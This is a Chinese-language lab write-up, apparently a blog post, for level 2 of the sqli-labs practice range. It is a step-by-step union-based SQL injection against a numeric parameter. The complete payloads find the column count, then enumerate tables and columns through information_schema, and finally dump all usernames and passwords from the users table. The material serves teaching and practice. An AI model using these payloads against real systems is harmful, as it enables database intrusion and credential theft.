sqli-labs靶场第二关——数字型

一:查找注入类型:

输入

sql 复制代码
?id=1'--+

与第一关的差别:报错;

说明不是字符型

渐进测试:?id=1--+,结果正常,说明是数字型

二:判断列数和回显位

sql 复制代码
?id=1 order by 3--+

正常, 说明有三列,然后找回显点

sql 复制代码
?id=-1 union select 1,2,3--+

三:找数据库名

sql 复制代码
?id=-1 union select 1,database(),3--+

得到数据库名:security

四:找所有的表和列

表:

sql 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

复习拆解句子:(直接查询)

group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息

table_name:表名

information_schema.table:数据库中所有表的信息

table_schema:数据库名

列:

sql 复制代码
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

复习拆解:(嵌套查询)

1.内层又加上select的原因: 要嵌套查询,顺序如下:

表 → 子查询(group_concat)→ 作为值插入外层SELECT的列

column_name:列名

infromation_schema.columns:包含所有表的列的信息

table_schema:数据库名

table_name:表名

五:查数据!

sql 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

六:复盘总结

如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):

相关推荐
猫耳君1 天前
汽车网络安全 CyberSecurity ISO/SAE 21434 测试之一
python·安全·网络安全·汽车·iso/sae 21434·cybersecurity
勘察加熊人1 天前
python将pdf转txt,并切割ai
数据库·python·pdf
不良人天码星1 天前
Redis单线程模型为什么快?
数据库·redis·缓存
RestCloud1 天前
ETL 不只是数据搬运工:如何实现智能转换与清洗?
数据库·api
lu9up1 天前
因表并行引发的血案【故障处理案例】
数据库·oracle·dba
问道飞鱼1 天前
【大数据相关】ClickHouse命令行与SQL语法详解
大数据·sql·clickhouse
qq_356408661 天前
es通过分片迁移迁移解决磁盘不均匀问题
java·数据库·elasticsearch
武子康1 天前
Java-122 深入浅出 MySQL CAP理论详解与分布式事务实践:从2PC到3PC与XA模式
java·大数据·数据库·分布式·mysql·性能优化·系统架构
爱考证的小刘1 天前
阿里云ACA认证[特殊字符]阿里云ACP认证
数据库·阿里云·云计算
Databend1 天前
基于 Databend 的实时数据汇聚平台建设
数据库